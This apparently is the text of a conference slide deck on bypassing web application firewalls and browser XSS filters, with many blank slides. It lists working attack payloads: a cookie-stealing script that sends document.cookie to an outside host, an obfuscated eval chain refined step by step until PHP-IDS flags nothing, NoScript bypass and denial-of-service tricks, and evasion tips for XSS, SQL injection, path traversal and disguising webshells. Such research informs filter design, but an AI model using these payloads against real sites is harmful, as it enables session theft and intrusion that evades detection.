  • 45. The filter will catch: &quot;;document.write('<img src=http://p42.us/x.png?' %2b document.cookie %2b '>');&quot; but miss: &quot;;document.write('<img sr'%2b'c=http://p42.us/x.png?' %2b document['cookie'] %2b '>');&quot; ModSecurity
  • 46.
  • 47.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53. PHP-IDS Developing a Bypass eval(name) Injection Found! Overall Impact: 17
  • 54. PHP-IDS Developing a Bypass x=eval y=name x(y) Injection Found! Overall Impact: 12
  • 55. PHP-IDS Developing a Bypass x='ev'+'al' x=this[x] y='na'+'me' x(x(y)) Injection Found! Overall Impact: 46
  • 56. PHP-IDS Developing a Bypass $$='e' x='ev'+'al' x=this[x] y='nam'+$$ y=x(y) x(y) Injection Found! Overall Impact: 37
  • 57. PHP-IDS Developing a Bypass $$='e' x=$$+'val' z=(1)['__par'+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 62
  • 58. PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' z=(1)[__+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 27
  • 59. PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 18
  • 60. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 14
  • 61. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) Injection Found! Overall Impact: 07
  • 62. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)ghi ' Injection Found! Overall Impact: 07
  • 63. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)abc(def)...' Nothing suspicious was found!
  • 64.
  • 65.
  • 66.
  • 67. XSS Filter http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx Examining the IE8 XSS Filter by kuza55 (OWASP Australia)
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74. We will show the remaining 7 of our.. Top 10 reflected XSS attacks and how you can attack with them. Bypassing the Filter
  • 75.
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82.
  • 83.
  • 84.
  • 85.
  • 86.
  • 87.
  • 88.
  • 89.
  • 90.
  • 92.
  • 93. As any other filter, it's still possible to bypass NoScript's rules, the following attack bypassed NoScript's rules: <a z=“&”x=& onmousemove=t=Object(window.name); ({$:#0=t,z:eval(String(#0#).replace(/@/g,’’))}).z//>     This was fixed last week, have you updated noscript? : http://tinyurl.com/m4nfs9 Bypassing the Filter's Rules
  • 94. find a bypass 10 minutes before the talk! if I can't.. then.. it doesnt matter haha if I can, notify giorgio haha <<david: umm... good luck with that Eduardo>> This hasn't been fixed! Found 10m ago
  • 95. The DoS and pwn on NoScript (for bypassing)   The following example: http://victim.com/xss.php?hello= a-very-long-and-complicated-js-string &html_xss=<script>alert (&quot;pwned&quot;);</script> Will DoS NoScript, and then firefox will kill it, and then your victim will be redirected to your &quot;pwned&quot; webpage. Hacking the Filter
  • 96. NoScript wont protect websites from attacking themselves, so frames pointing to a redirect that sends to the payload wont be detected by NoScript: Example : http://tinyurl.com/l5rnyc http://www.google.com/imgres?imgurl=http://tinyurl.com/ZWZ8Z4&imgrefurl= http://tinyurl.com/ZWZ8Z4   and http://tinyurl.com/ZWZ8Z4 redirects to https://www.google.com/adsense/g-app-single-1.do?websiteInfoInput.uri=ZWZ8Z4&contactInput.asciiNameInput.fullName= <script> Same Origin Exception
  • 97. Tribute to the stupid IDS Thanks to pretty much every other WAF vendor out there...
  • 98.
  • 99. Stop using alert('xss') . You should now use prompt('xss') . Rule Number 1
  • 100. Dont do <script> . Do <ScRIPT x src=//0x.lv? Rule Number 2
  • 101. For blind SQL injections. Stop using ' or 1=1-- . Use ' or 2=2-- . Rule Number 3
  • 102. For SQL injections. Stop using UNION SELECT . Use UNION ALL SELECT . Rule Number 4
  • 103. Don’t do /etc/passwd . Do /foo/../etc/bar/../passwd . Rule Number 5
  • 104. Don’t use http://yourhost.com/r57.txt Use https://yourhost.com/lol.txt Rule Number 6
  • 105. Don’t call your webshell c99.php, shell.aspx or cmd.jsp Call it rofl.php . Rule Number 7
  • 106.
  • 107.
  • 108.

Editor's Notes

  1. Microsoft patched this issue, and after testing the patch, I think its pretty good.